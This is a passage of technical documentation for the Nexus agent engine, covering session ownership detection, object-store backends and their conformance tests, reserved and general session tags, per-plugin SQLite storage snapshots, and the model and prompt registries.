Boot reads the marker before it writes its own — for a resumed session and a
brand-new one alike — and a clean Stop removes it, while
Abandon deliberately leaves it. The read also runs when
hydration short-circuited because a local tree was already present, so a warm
host whose stale local copy is shadowing a session another host has since taken
over is detected too.
If someone else still looks like the holder, the engine logs at error level
and emits session.owner.conflict —
and then carries on exactly as it would have. This detects; it does not
prevent. No lock is taken, no fencing token is issued, nothing is refused and
nothing waits. Refusing on a detection that can be wrong would let a false
positive strand a session nobody can open, which is worse than the failure being
detected. Fencing, expiry semantics and refusal are a real lease, and a real
lease is a separate piece of work.
The alarm is only worth having if it stays quiet on the happy path, so a marker is treated as live only when nothing says otherwise:
| Signal | Verdict |
|---|---|
The marker’s instance_id is this run’s | Ours. Silent. |
host matches this host and the PID is no longer running | The holder crashed here. Silent — the same signal-0 liveness probe session.lock uses, and sound only because the host matches. |
heartbeat_at stopped advancing more than 5 minutes ago | Holder presumed gone. Silent, logged at info as a takeover. |
| Anything else | Conflict. |
Both thresholds are constants, not config keys: 30 seconds between beats, ten missed beats before a marker reads as stale. The slack is deliberate — the timestamp comes from another machine’s clock, and an alarm that fires because two hosts disagree about the time is an alarm everybody learns to ignore. The residual false alarm is a crash on a different host resumed inside the staleness window; nothing can distinguish that from a real second writer without a lease.
The local session lock is not a substitute and does not go away. It carries a PID and is excluded from the seam for exactly that reason — a PID from host A means nothing on host B — so it can only see one machine. The two answer different questions.
The conflict event is raised after startJournal and after plugin Init, not at
the point of detection. The bus assigns a sequence number to every event whether
the journal’s wildcard is subscribed or not, and the writer only flushes
contiguous sequences, so a single event emitted during hydration would stall the
drain and empty the journal for the whole run.
Scope. The marker covers session trees only. The shared roots — app- and agent-scope plugin storage — have a stronger version of the same problem and no marker yet; see Per-Plugin Storage → Object storage for app and agent scope.
Dropping a session without closing it
Stop and Abandon are the two ways a run ends, and they are not variants of
each other. Stop closes a session: it takes a final snapshot, flushes, removes
the owner marker, shuts plugins down, closes the journal and per-plugin SQLite,
and releases the local lock. Abandon drops one:
Stop | Abandon | |
|---|---|---|
| Tick heartbeat, run-scoped subscriptions | stopped | stopped |
| Object-store recovery worker | stopped | stopped |
| Blob write-through worker | stopped, queue drained | stopped, queue discarded |
| Owner-marker heartbeat | stopped | stopped |
| Owner marker in the store | deleted | left in place |
Shutdown snapshot, Flush | yes | no |
Plugin Shutdown, journal close, SQLite close, session metadata, session lock | all done | none of it |
It exists for two callers. A host on ephemeral compute that is being reclaimed and does not want to pay a whole-tree snapshot of a session nobody will read. And a test simulating a process death — an abandoned engine that keeps heartbeating and retrying is still writing into the bucket the test is trying to tear down, and stopping those workers without recording a clean exit is the only honest way to fake a kill.
The owner marker is the part worth understanding. A clean Stop deletes it
because the broker’s ordinary release-and-respawn cycle resumes the same session
minutes later, well inside the five-minute staleness window, and a marker left
behind would fire the split-brain alarm on every legitimate resume. Abandon
does not delete it, because doing so would record a clean release that never
happened — the next host would resume in silence exactly where the evidence
matters most. It does stop the heartbeat, though: a marker that kept beating for
a run that no longer exists would read as live for ever and turn a genuine
takeover into a reported conflict. With the beat stopped and the marker left, the
next host applies the ordinary staleness rules from the table above — a dead PID
on the same host, or a heartbeat past the threshold anywhere else — and takes
over quietly.
Abandon writes nothing and closes nothing local, so on its own it leaks the
journal writer’s goroutine and the open handles under the session tree. That is
correct for a process about to exit and wrong for one that is not; a long-lived
host can call Stop afterwards, which with the store handle already gone
degenerates to local teardown and still writes nothing remote. It is idempotent,
safe after Stop or on an engine that never booted, and costs nothing when no
object store is configured.
What survives a kill
The recovery point is the last completed turn. A process that dies without
running Stop — SIGKILL, a container eviction, a Lambda timeout — loses only
what was written after the last agent.turn.end; everything up to and including
that boundary is restorable from the store, on a host that has never seen the
session.
TestKillAndResumeRestoresIdenticalSessionState in pkg/engine is that claim
as an assertion, and it runs untagged inside make test against the in-memory
backend. It boots an engine, writes conversation history, artifacts, blobs and
per-plugin SQLite rows, completes one turn, writes some more, and then abandons
the engine with every handle still open — no Stop, no shutdown snapshot, no
flush — which is what forces the turn-boundary snapshot to be the only thing
that could have saved the session. A second engine over a separate, empty
data root then resumes the same session ID and is held to equality rather than
to “it opened”: the same history bytes and the same replayed messages, the same
artifact bytes, the same blob bytes and media type, the same 500 SQLite rows
through the storage manager with PRAGMA integrity_check clean — and none of
the three writes made after the turn boundary. A companion test compares the
whole hydrated tree against a content-hash fingerprint of the killed one, file
by file.
enginetest.RunResumeSuite in pkg/engine/objectstore/enginetest repeats that
scenario against a real store, where a real wire protocol, real latency and real
error mapping are in the loop. Two backends run it, each behind its own build
tag and its own make target: TestResumeSuiteAgainstMinIO in
modules/objectstore-s3 (make test-objectstore-minio) and
TestResumeSuiteAgainstFakeGCSServer in modules/objectstore-gcs
(make test-objectstore-fake-gcs). The choreography is written once and shared,
so the two backends cannot be held to different bars by accident; each module
supplies only what is store-specific — registering a factory, making an empty
bucket, listing it, and reading one object back with a client that is not the
backend under test.
The suite lives in the root module because the engine does, and the backends do
not: only a module that requires both can hold a real engine.Engine and a real
cloud wire at once. It reaches the engine through the exported
engine.NewFromBytes and an object_store: block, the same path an operator’s
config takes. It adds one assertion the in-memory run cannot make: the
store.db object is pulled back out of the bucket with that independent client
and opened as a database, so “the store is holding a valid, queryable, fully
checkpointed SQLite file” is asserted rather than inferred. Against the memory
backend an upload is a []byte copied inside the process, so a broken WAL
checkpoint would still round trip; here it does not. Both kill cases express the
kill as engine.Abandon() rather than by simply dropping the engine: against a
real bucket an engine nobody stopped keeps a heartbeat and a retry worker
writing objects into the bucket the test then has to delete, and Abandon is
the one teardown that stops them without recording the clean exit the scenario
depends on not having happened. See Dropping a session without closing
it.
What neither run covers is IAM. Both stores are emulators, and no emulator reproduces IRSA, EKS Pod Identity, GKE Workload Identity, Application Default Credentials resolution or Workload Identity Federation — the credential legs that justify taking a vendor SDK at all. Those stay a documented manual check.
The mid-flush kill, and the boundary it stops at. The suite’s
MidFlushKillRestoresTheCommittedGeneration case kills a process
partway through a snapshot — the tree objects of the dead generation reach the
bucket, the manifest and the commit marker never do — and asserts what actually
survives:
- Hydration restores exactly the committed generation’s object set. A key the dead generation added and the committed manifest does not name is not materialised.
- Orphaned objects are left in the bucket, not deleted.
and what does not, per Where the guarantee stops under The generation stamp
and the per-object manifest: an object the dead
generation overwrote in place carries the dead generation’s bytes, because
the manifest names paths rather than versions. The restored store.db reads the
uncommitted generation, and the test asserts that rather than hoping otherwise.
TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace pins the same
boundary against the in-memory backend; the emulator runs are where an argument
that a real store would somehow keep the old bytes would be exposed.
Lifetime of the local working copy
The local tree under core.sessions.root is not wiped on clean exit.
- On the target deployment — a container, Cloud Run, Lambda — the filesystem vanishes when the process does, so wiping buys nothing beyond a slower shutdown and a window where a crash mid-wipe leaves a half-deleted tree.
- On a durable host the local tree is a warm cache: the next resume of the same
session skips hydration entirely, and, more importantly, it is the copy that
failure_policy: degradefalls back to. Deleting it would mean a store outage at shutdown destroys the only good copy. core.sessions.retentionis already the operator-owned answer to “when does local session data go away”. A second, implicit, shutdown-triggered answer would be a surprise, and deleting user data is irreversible.
Writing a backend
A backend is an implementation of objectstore.Backend plus a Register call.
It can live in any module: the interface names no bucket API, credential type
or HTTP client, and pkg/engine/objectstore imports nothing outside the
standard library.
Two rules are easy to read past, and both corrupt sessions rather than producing an error:
Keys are validated, not merely documented. Every method must reject a
malformed key or prefix with an error wrapping objectstore.ErrInvalidKey,
before touching the store or the filesystem. A key is /-separated, non-empty,
with no leading or trailing /, no empty segment, no . or .. segment, no
\, and no NUL. objectstore.ValidateKey and objectstore.ValidateKeyPrefix
implement exactly this; the .. ban is what stops a hostile key from writing
outside a hydration destination.
Prefixes match whole segments. Key K is under prefix P when P is
empty, or when K begins with P + "/". Raw string matching — the native
behaviour of ListObjectsV2 and its GCS equivalent — makes the prefix
sessions/sess-1 select the objects of sessions/sess-10, which mixes two
sessions into one tree. A backend listing with a raw prefix must post-filter.
objectstore.TrimKeyPrefix is the rule in code, and also yields the relative
path Hydrate needs: Hydrate strips the prefix, so
sessions/s1/files/a.md under prefix sessions/s1 lands at
<destDir>/files/a.md.
Hydrate adds and overwrites; it does not mirror. Entries already at the
destination that no object corresponds to are left alone.
The contract suite
pkg/engine/objectstore/objectstoretest holds the shared conformance suite.
Every backend — the in-memory one used by unit tests, and each out-of-tree
module — is held to the same cases: key round-tripping, overwrite,
delete-then-list, segment-aware prefixes, complete listings past one page,
absent-key behaviour, zero-byte objects, key-syntax rejection, Flush
idempotency and concurrent use.
func TestContract(t *testing.T) {
objectstoretest.RunSuite(t, func(t *testing.T) objectstore.Backend {
return newMyBackend(t) // empty, cleaned up via t.Cleanup
})
}
Each case gets its own backend, so the factory must hand back an empty one — a
temp bucket, a cleared prefix, a fresh emulator namespace. WithListProbeCount
lowers the 1200-object pagination probe for a backend that cannot afford it
(below the backend’s own page size the case stops proving anything), and
WithoutConcurrency skips the parallel case.
objectstoretest.NewMemory is the reference implementation that passes the
suite, and doubles as the substituted seam for ordinary untagged unit tests. It
is deliberately not registered as a driver at init: a memory backend silently
selectable in production config would discard everything on exit while
reporting success. objectstoretest.RegisterMemory makes it reachable by name
for the duration of one test and removes it again on cleanup.
Shipped backends, and what having two of them proves
Two backends ship in-repo, each in its own module:
modules/objectstore-s3 (Amazon S3 and every S3-compatible store) and
modules/objectstore-gcs (Google Cloud Storage). Neither is part of
bin/nexus; an embedder blank-imports the one they want.
The second one was written to answer a question about the seam rather than
about Google. An interface with exactly one implementation is indistinguishable
from that implementation’s API with the names changed, and the whole premise of
pkg/engine/objectstore is that a third party can implement it without a PR to
this repository. GCS disagrees with S3 in several specific places — deleting a
missing object is an error there and a success here; there is no region, and no
project either; the client holds resources worth closing where the AWS one does
not; uploads are not retried by default because an insert without a
precondition is not idempotent.
Every one of those turned out to be a translation the backend module owns.
modules/objectstore-gcs passes objectstoretest.RunSuite unmodified and
with no option other than a reduced page-count probe, and required no change
to pkg/engine/objectstore at all. Two things in the interface earned their
keep in the process: Delete’s “a missing key is not an error” rule, which
picks the S3 behaviour precisely because it is the one a retrying caller wants
and leaves the other store to absorb the difference, and the decision to have
the engine type-assert io.Closer rather than put Close on the interface,
which is why a backend holding an SDK client needed no widening of a published
type.
See Configuration Reference for the keys, their defaults and their validation behaviour, and Object Storage for the adoption path — wiring a backend into a binary, credentials, and the documented limitations.
Session Tags
Every session carries a small key/value label store — SessionMeta.Labels,
persisted as part of metadata/session.json alongside the rest of
session metadata. This page documents the
label store as its own mechanism: the two namespaces a key can belong to, the
four bus events that write and announce them, and the design rule that keeps
the two namespaces from ever being conflated.
Two namespaces, one map
Labels live in a single map[string]string, but a key’s first character
decides which of two disjoint namespaces it belongs to:
| Namespace | Key shape | Who can write it | How |
|---|---|---|---|
| Reserved | starts with _ (e.g. _principal_id) | Trusted infrastructure only — today, an identity-aware transport such as nexus.io.agui | A direct Go method, never the bus |
| General | anything else (e.g. tenant, project, a workflow’s own bookkeeping key) | Any plugin, tool call, or the opt-in nexus.tool.session_tags tool set | The vetoable bus events below |
Exactly one function decides which namespace a key belongs to:
engine.IsReservedLabelKey (a strings.HasPrefix(key, "_") check). Every
consumer that needs the same decision calls this one definition rather than
re-implementing the prefix check — the core write handlers, the reads in
nexus.tool.session_tags, ICM’s OperatorTemplateCtx.Context projection, and
the <session_context> prompt builders in the ReAct, Orchestrator, and
Subagent agent loops all share it. That means there is no way for two call
sites in the codebase to disagree about what counts as reserved.
The request/announce events
Four event types cover every write to the label store:
| Event | Payload | Vetoable | Purpose |
|---|---|---|---|
before:session.tag.set | events.SessionTagSetRequest{Key, Value} | Yes | Ask to write one general-namespace key |
before:session.tag.delete | events.SessionTagDeleteRequest{Key} | Yes | Ask to remove one general-namespace key |
session.tag.set | events.SessionTagSet{SessionID, Key, Value} | No (announce) | A label was written — by either path, general or reserved |
session.tag.deleted | events.SessionTagDeleted{SessionID, Key} | No (announce) | A label was removed — by either path |
The two before:* events follow the same shape every other vetoable request
in Nexus does (before:io.input, before:tool.invoke, …): a subscriber can
veto with a reason, and a caller emitting one of these gets exactly one
outcome back — applied, or rejected with a reason. There is no second
“apply” step after the veto check passes: the one handler in the core engine
that checks the veto is also the only place that touches SessionMeta.Labels
for the general path, because the engine is the only thing that knows how to
mutate session metadata safely.
The two announce events fire from every successful write, regardless of which path produced it — the vetoable general path, or the reserved direct-Go-call path described below. A subscriber that wants to know “this session’s tags changed” only ever needs to watch these two event types; it never has to also know about the reserved namespace’s separate write mechanism to see a reserved key change.
Reading and enumerating
There is no before:session.tag.get/list request event — reads are
synchronous and go straight to SessionMetadata().Labels, the same struct the
write path persists to. nexus.tool.session_tags’s session_tag_get and
session_tag_list tools read it directly rather than round-tripping through
the bus. A reserved key is invisible to both: session_tag_get reports it as
not found, identical to a key that was never set, and session_tag_list
omits it from the result set entirely — not redacted, not flagged, simply
absent, so a general-namespace enumeration carries no signal that a reserved
key even exists.
Why the split is structural, not conventional
An identity tag like _principal_id and a business-context tag like tenant
look identical on the wire: a string key, a string value, sitting in the same
map. The tempting design is to let one code path handle both and trust
callers to behave — never overwrite the identity key, never let an
attacker-controlled tool argument reach it. Nexus does not take that bet.
The reserved-key check is enforced in exactly one place: the core engine’s
handler for before:session.tag.set / before:session.tag.delete. It
rejects a _-prefixed key unconditionally, with no veto exception and no
caller-trust distinction — a request from a fully-trusted internal plugin
and one from an untrusted tool call an agent invoked because a document told
it to are rejected identically. The only sanctioned way to write a reserved
key is a direct Go method call — SessionWorkspace.SetReservedLabel /
DeleteReservedLabel — that never touches the bus at all, so there is no
vetoable request an ordinary plugin could emit to reach it even if it wanted
to.
That structural wall exists to protect one design rule:
Identity and general context must never be conflatable.
A tenant tag an agent set to steer its own behavior must never be able to
silently become — or overwrite — the _principal_id an authenticated
transport bound for the run. If both lived in one flat, unpartitioned
namespace, “don’t touch the identity key” would only ever be a comment asking
callers to behave, and the first tool call, misconfigured plugin, or
prompt-injected request that happened to name that key would win by
coincidence. Making the split a prefix the engine itself enforces — rather
than a convention plugin authors are trusted to honor — turns “please don’t”
into “cannot”, at the one point where every write, from any source, is
forced to pass.
A second, narrower direct-Go seam exists for the same reason on the general
side: SessionWorkspace.SetLabel writes a general-namespace key without a
veto hop, for a caller that already sits on trusted, already-authenticated,
already-decoded input and gains nothing from re-litigating it through a gate
built for untrusted general writes. It still rejects a _-prefixed key
defensively — a caller mistake here bypasses the general validation
completely, and without the same check a client could smuggle a
_-prefixed key in through this second path and land in the reserved
namespace anyway.
Where general tags surface in prompts
A tag in the general namespace is not just a piece of session bookkeeping —
several agent loops expose it to the LLM as ordinary prompt context, always
through the shared engine.XMLWrap("session_context", ...) convention (see
Prompt Registry) and always
built by reading SessionMetadata().Labels fresh, filtering out every
reserved key, and rendering what’s left as sorted key: value lines. A
reserved key is filtered before rendering, not redacted after: it is never
present in the string that gets wrapped, so there is no code path that first
builds an unfiltered prompt and then removes the sensitive part.
Because filtering happens at read time rather than at write time, a tag
written mid-session by any general writer is visible on the very next render
— there is no cache to invalidate. Every one of these builders emits nothing
at all (not even an empty <session_context/> tag) when there are no
general-namespace labels currently set, so a session that never wrote a tag
never adds noise to its own prompt.
- ReAct and Orchestrator (both the per-worker and the synthesis
system prompt) each add a
<session_context>section alongside their existing<skill_context>/<execution_plan>/<current_task>sections. - Subagent prepends a
<session_context>block ahead of its configured system prompt, when one applies. - ICM exposes the same filtered map two ways:
OperatorTemplateCtx.Contextis available to the workspace’soperator.mdtemplate as{{ .Context.<key> }}, and — because that template only renders once, at posture-registration time, not on every turn — the per-turn<icm_turn>XML payload also carries a<session_context>block, rebuilt fresh on every dispatch. See ICM: Workspace layout and ICM: XML payload reference.
This is deliberately the only thing a general tag is used for by the core
agent loops: influencing what the LLM sees. Nothing in the reserved namespace
is ever exposed this way — an identity binding is metadata about who is
running the session, not something the model should be told about or asked
to reason over, and the same IsReservedLabelKey filter that keeps it off
the bus keeps it out of every prompt too.
Who writes what today
| Writer | Namespace | Mechanism |
|---|---|---|
nexus.io.agui | Reserved (_principal_id) | Direct SetReservedLabel at run start/resume, DeleteReservedLabel at run end — see AG-UI Serve Transport |
nexus.io.agui | General (each RunAgentInput.context item) | Direct SetLabel, no veto hop, since the input already arrived over an authenticated transport |
nexus.tool.session_tags (opt-in) | General only | before:session.tag.set / before:session.tag.delete, the same vetoable path any other bus caller uses — see Session Tags Tool |
| Any other plugin | General only | before:session.tag.set / before:session.tag.delete |
No plugin can write the reserved namespace except through the direct Go methods, which are only ever called from core-adjacent, trusted code — never from a bus handler, and never from anything an agent’s tool calls can reach.
See also
- Sessions — the session tree and metadata this store is part of.
- Event Types → Session Tag Events — the full payload field tables for all four events.
- Configuration Reference →
nexus.tool.session_tags— the opt-in tool plugin’s config keys. - AG-UI Serve Transport — the identity bind/clear behavior that motivated the reserved namespace.
Per-Plugin Storage
Every plugin can request a SQLite-backed storage handle scoped at session,
agent, or application level. The storage primitive is engine-native (no plugin
needs to be activated) and is exposed through PluginContext.Storage.
The backend is modernc.org/sqlite — pure Go, no CGO, FTS5 included. WAL
mode and a 5-second busy timeout are on by default.
Scopes
| Scope | Path | Lifetime |
|---|---|---|
ScopeSession | <session.RootDir>/plugins/<pluginID>/store.db | Disappears when the session is archived. |
ScopeAgent | ~/.nexus/agents/<agent_id>/plugins/<pluginID>/store.db | Persists across sessions for one agent. Collapses to ScopeApp when no core.agent_id is configured. |
ScopeApp | ~/.nexus/plugins/<pluginID>/store.db | Machine-wide, survives across sessions and agents. |
Multi-agent embedders (the desktop shell) set core.agent_id per engine
instance so each agent gets its own ScopeAgent partition. CLI and
single-agent embedders leave it empty, which collapses agent scope to app
scope so plugins do not end up with two separate connection pools pointing
at the same file.
The data root can be overridden via core.storage.root (defaults to
~/.nexus).
Plugin API
func (p *Plugin) Init(ctx engine.PluginContext) error {
st, err := ctx.Storage(storage.ScopeSession)
if err != nil {
return err
}
// KV sugar — convenient for trivial put/get cases.
if err := st.Put("last_run", []byte(time.Now().String())); err != nil {
return err
}
val, ok, err := st.Get("last_run")
// Raw SQL — for joins, transactions, virtual tables (FTS5).
if _, err := st.DB().Exec(`CREATE TABLE IF NOT EXISTS jobs (
id INTEGER PRIMARY KEY, payload TEXT
)`); err != nil {
return err
}
// Transactions.
return st.Tx(func(tx *sql.Tx) error {
_, err := tx.Exec(`INSERT INTO jobs(payload) VALUES(?)`, "work")
return err
})
}
Handles are pooled — repeated calls to ctx.Storage(scope) return the same
underlying *sql.DB for that (scope, pluginID) pair. The handle lives for
the lifetime of the engine; do not call Close on the returned *sql.DB.
The kv table is created lazily on the first KV-method call. Plugins that
only use DB() never see it.
Configuration
See Configuration Reference for the authoritative list. The relevant block:
core:
agent_id: "" # set by multi-agent embedders
storage:
root: ~/.nexus # data root for app + agent scope
busy_timeout_ms: 5000
cache_size_kb: 2048
pool_max_idle: 2
pool_max_open: 4
Concurrency
App-scope storage is shared across every session on the machine. SQLite WAL mode handles concurrent readers cleanly, and writers serialize behind the busy timeout. Multiple processes (two CLIs sharing the same app-scope DB file) work but are not the design target — prefer agent or session scope for concurrent independent workloads.
Within a single process, Storage is safe for concurrent use across
goroutines.
With an object-store backend configured, that rule gets sharper, because a shared root then has to survive being copied to and from a bucket:
- Two processes on one host share the same
store.dbfile. SQLite’s WAL and busy timeout serialise them, so at any instant the file holds both processes’ committed writes and a snapshot of it is a superset of each. Both upload to the same key and the later upload wins — and it is a strict superset. Safe. - Two processes on different hosts each have their own local copy and no shared serialisation point. Both upload to the same key at whole-database granularity, so the later flush silently discards the other host’s writes. This is not fixable at the seam: merging two SQLite databases is a schema-specific operation the engine has no basis to perform.
So the constraint with object storage is one writing host at a time per
shared root — the same constraint the local filesystem already implied,
stated out loud because a bucket makes it easy to violate by accident. Two
mitigations are built in: hydration never overwrites a plugin directory that
already exists locally, so a remote copy cannot clobber a live local database
mid-run; and every uploaded database is checkpointed and VACUUM INTOd, so what
lands remotely is always self-consistent rather than torn.
The constraint is still documented rather than detected here. Session trees carry an owner marker that makes a second writing host loud — see Sessions → Two hosts, one session — and the shared roots deliberately do not, because “who owns this root” is a different question from “who owns this session”: a root is machine-wide and outlives every session, so its holder is not a single engine run and its marker could not be claimed and released on one run’s lifecycle. Extending detection here is the mechanism that would turn the rule above from a documented constraint into a detected violation, and it is recorded as future work rather than smuggled into the session-scoped marker.
Checkpoints and snapshots
A store.db is only half a database while a writer is active: committed
transactions live in store.db-wal until a checkpoint folds them back, and
store.db-shm is a process-local index into that WAL. Copying store.db on its
own gets a file that opens cleanly and is silently missing data — the reason
cp store.db elsewhere is never a backup.
The manager exposes two operations for this:
Manager.Checkpoint(scope)runsPRAGMA wal_checkpoint(TRUNCATE)on every open handle at a scope, folding the WAL back into the main file and resetting it to zero length.TRUNCATErather thanPASSIVE(which gives up silently the moment a reader is present) orFULL(which leaves the WAL at its high-water mark, so one large batch costs the session forever). It blocks on readers, bounded by the 5 s busy timeout.Manager.Snapshot(scope, destDir)checkpoints and thenVACUUM INTOs each handle to<destDir>/<pluginID>/store.db, returning the live path, the snapshot path, its size, the checkpoint result and the elapsed time.
The two steps do different jobs and both are needed. The checkpoint makes the
live file self-contained; VACUUM INTO makes the snapshot untearable, since
it runs inside a read transaction and so cannot be torn by a plugin committing
mid-copy. A plain io.Copy after the checkpoint would produce a corrupt rather
than merely stale file in that case, which is strictly worse when the result is
about to be uploaded over a good remote copy. VACUUM INTO also refuses an
existing destination, so snapshotting over a live database is impossible by
construction, and it compacts, so the snapshot is never larger than the live
file. The driver is pure Go, so there is no CGO backup API available; this is the
portable equivalent.
The cost is O(database size): roughly 220–265 MiB/s on an M1 Max
(0.6 MiB → ~3 ms, 117 MiB → ~530 ms). BenchmarkSnapshot in
pkg/engine/storage measures it.
Only handles the manager has actually opened are covered, which is the right
set: a store.db in the tree with no handle has no writer in this process and
is already static.
The engine’s object-store seam is the caller. It snapshots session-scope
handles at every turn boundary and never uploads -wal, -shm or -journal
sidecars, so the stored database restores on a host that has never seen them.
See Sessions → Turn-boundary snapshots.
Object storage for app and agent scope
App- and agent-scope stores live outside every session tree, so they get their
own key space beside sessions/ rather than inside one:
| Scope | Local path | Object key |
|---|---|---|
ScopeApp | <root>/plugins/<pluginID>/store.db | plugins/<pluginID>/store.db |
ScopeAgent | <root>/agents/<agent_id>/plugins/<pluginID>/store.db | agents/<agent_id>/plugins/<pluginID>/store.db |
The key is derived from the live path by relativising it against <root>, so
it follows the layout above by construction rather than by a second copy of the
path rules. No session ID appears in either key, which is what preserves the
lifetimes in the table at the top of this page: an app-scope store keyed under
the session that flushed it would give every session its own copy, and a
machine-wide ceiling like nexus.gate.token_budget’s tenant budget would
silently become a per-session one. The engine refuses to produce such a key.
The lifecycle is:
- Hydrate at boot, before any plugin can call
ctx.Storage— the manager creates a plugin’s directory as a side effect of handing out a handle, so hydrating later would find every directory present and skip it. Hydration is per plugin directory: one that already exists locally is never touched (it may be open, and replacing astore.dbunder a live handle corrupts it), one that does not is pulled down through a staging directory and an atomic rename. A listing failure fails the boot, under both failure policies, for the same reason a failed session hydration does: carrying on would hand plugins an empty machine-wide store that the first turn boundary then uploads over the good one. - Snapshot at every turn boundary and at shutdown, with the same
checkpoint-then-
VACUUM INTOdiscipline, immediately after the session’s commit marker is published — so a shared-root outage never holds back a session that is otherwise fully durable.
Agent scope follows the manager’s collapse exactly: with core.agent_id empty,
an agent-scope handle resolves to app scope and so does its key. Nothing is
uploaded twice.
Shared roots have no owner marker. A shared root outlives every session, so
the claim-on-Boot / release-on-Stop cycle the session marker uses has no
counterpart here, and reusing that marker would produce one every session
clobbers and every clean shutdown deletes while other runs are still writing. The
consequence is that the split-brain detection sessions get does not exist for
these stores — see Concurrency above, and
Object Storage → Limitations.
See Configuration Reference → Beyond the session tree and Object Storage.
Model Registry
The model registry maps abstract role names to concrete model configurations. This lets plugins request a model by capability (e.g., “reasoning”, “quick”) without hardcoding specific model IDs.
Role-Based Model Selection
Define model roles in the core.models config section:
core:
models:
default: balanced # Role to use when none specified
reasoning: # High-capability model for complex tasks
provider: nexus.llm.anthropic
model: claude-opus-4-20250514
max_tokens: 16384
balanced: # General-purpose model
provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
quick: # Fast, cost-effective model
provider: nexus.llm.anthropic
model: claude-haiku-4-5-20251001
max_tokens: 4096
How Roles Are Used
Plugins reference roles by name in their configuration:
nexus.planner.dynamic:
model_role: reasoning # Use the high-capability model for planning
nexus.memory.compaction:
model_role: quick # Use the fast model for summarization
nexus.agent.react:
model_role: balanced # Default agent model (optional, uses default role)
When a plugin emits an llm.request, the LLM provider resolves the role to a concrete model:
// Plugin requests by role
config, found := models.Resolve("reasoning")
// Returns: ModelConfig{Provider: "nexus.llm.anthropic", Model: "claude-opus-4-20250514", MaxTokens: 16384}
Resolution Rules
- If the role name matches a defined role, return that config
- If the role is empty, use the
defaultrole - If the role is not found but contains a hyphen (e.g.,
claude-sonnet-4-20250514), treat it as a raw model ID for backward compatibility - Otherwise, return not found
Provider Fallback Chains
Role values can be ordered arrays instead of single maps. First entry = primary, subsequent entries are tried in order when the primary fails with a non-retryable error or exhausts its retry budget.
core:
models:
balanced:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
- provider: nexus.llm.openai
model: gpt-4o
max_tokens: 8192
quick:
provider: nexus.llm.anthropic # single entry = no fallback
model: claude-haiku-4-5-20251001
Single-map format is backward compatible — parsed as a chain of length 1.
Requires: nexus.provider.fallback in plugins.active + both provider plugins active.
Trigger conditions: Fallback occurs when a provider error is non-retryable (4xx except 429, auth failures), or when the provider’s own retry logic (429, 5xx backoff) has exhausted max_retries.
Streaming partial failure: If a provider fails mid-stream, the fallback plugin emits io.output.clear to wipe partial content, then provider.fallback notification, then re-emits llm.request targeting the next provider. Clean restart — no spliced output from two models.
Provider Fanout
Roles with fanout: true send requests to all listed providers in parallel instead of sequential fallback. The fanout plugin collects responses and returns them as a single LLMResponse with Alternatives.
core:
models:
compare:
fanout: true
providers:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 4096
- provider: nexus.llm.openai
model: gpt-4o
max_tokens: 4096
Requires: nexus.provider.fanout in plugins.active + all listed provider plugins active.
Deadline: Configurable via nexus.provider.fanout.deadline_ms (default 30s). If a provider doesn’t respond in time, the fanout proceeds with available responses.
No per-leg fallback: A fanout provider that fails is simply marked as failed. Fallback chains and fanout are separate concepts — a role is either a fallback chain or a fanout group, not both.
API
type ModelConfig struct {
Provider string // Plugin ID of the LLM provider
Model string // Model identifier string
MaxTokens int // Maximum tokens for this model
}
type ModelRegistry struct {
Resolve(role string) (ModelConfig, bool) // Primary model for a role (index 0)
Fallback(role string, attempt int) (ModelConfig, bool) // Model at chain index
ChainLen(role string) int // Number of entries in fallback chain
IsFanout(role string) bool // Whether a role uses parallel fanout
FanoutProviders(role string) []ModelConfig // All providers in a fanout role
Default() ModelConfig // Get the default model
Roles() []string // List all registered role names
}
Default Role
The default key in the models config is a string alias pointing to another role:
models:
default: balanced # When no role specified, use "balanced"
This means models.Resolve("") and models.Default() both return the balanced config.
Prompt Registry
The prompt registry allows plugins to inject dynamic sections into the system prompt at runtime. This is how skills catalogs, dynamic variables, and other context get appended to the agent’s system prompt without hardcoding.
How It Works
- Plugins register prompt sections during initialization, each with a name and priority
- When the LLM provider builds a request, it calls
prompts.Apply(systemPrompt)to assemble the final prompt - Each registered section function is called — if it returns a non-empty string, that content is wrapped in an XML
<prompt_section>tag and appended - Sections are appended in priority order (lower priority numbers first)
- If a base system prompt is provided, it’s wrapped in
<system_instructions>tags
XML Structure
All prompt content uses XML tag boundaries for clean structural separation. The assembled prompt looks like:
<system_instructions>
You are a helpful assistant.
</system_instructions>
<prompt_section name="skill-catalog">
<available_skills>
<skill name="code-review" scope="project">
<description>Review code for quality, bugs, security issues, and style.</description>
</skill>
</available_skills>
</prompt_section>
<prompt_section name="dynvars">
- Date: 2026-04-08
- OS: darwin
- CWD: /Users/frank/projects/myapp
</prompt_section>
Registering a Section
func (p *MyPlugin) Init(ctx engine.PluginContext) error {
ctx.Prompts.Register("my-context", 50, func() string {
return "Some dynamic information here."
})
return nil
}
The function is called every time a prompt is assembled, so it can return different content based on current state. The returned content is automatically wrapped in <prompt_section name="my-context"> tags by the registry.
Built-in Sections
| Plugin | Section Name | Priority | Content |
|---|---|---|---|
nexus.system.dynvars | dynvars | 90 | Current date, time, timezone, CWD, OS |
nexus.skills | skill-catalog | 80 | XML-formatted list of available skills |
Agent-Level Semantic Tags
Beyond the structural <prompt_section> wrapping, each agent type uses semantic XML tags for its dynamic content:
| Tag | Content | Agents |
|---|---|---|
<skill_context> | Grouped loaded skill bodies | ReAct, PlanExec, Orchestrator |
<execution_plan> | Plan summary + step list | ReAct |
<current_task> | Current step instructions | ReAct, PlanExec, Orchestrator workers |
<prior_results> | Completed step/dependency outputs | PlanExec, Orchestrator workers |
<user_request> | Original user input (CDATA-wrapped) | PlanExec, Orchestrator |
<subtask_results> | Worker outputs in synthesis prompts | Orchestrator |
<session_context> | Current session’s non-reserved Labels, sorted key: value lines; omitted entirely when none are set | ReAct, Orchestrator (decompose + synthesis), Subagent (prepended ahead of the configured system prompt) |
See Session Tags for what populates Labels, the
reserved-prefix filter that keeps _-prefixed keys out of every prompt, and
ICM’s equivalent (OperatorTemplateCtx.Context and the per-turn
<session_context> payload block, both outside the prompt-registry
machinery on this page).
User-provided content and LLM outputs are wrapped in CDATA blocks to prevent parsing conflicts.
XML Helpers
Shared XML utilities in pkg/engine/xml.go:
engine.XMLWrap("tag", content, "attr", "value") // wrap content in <tag attr="value">...</tag>
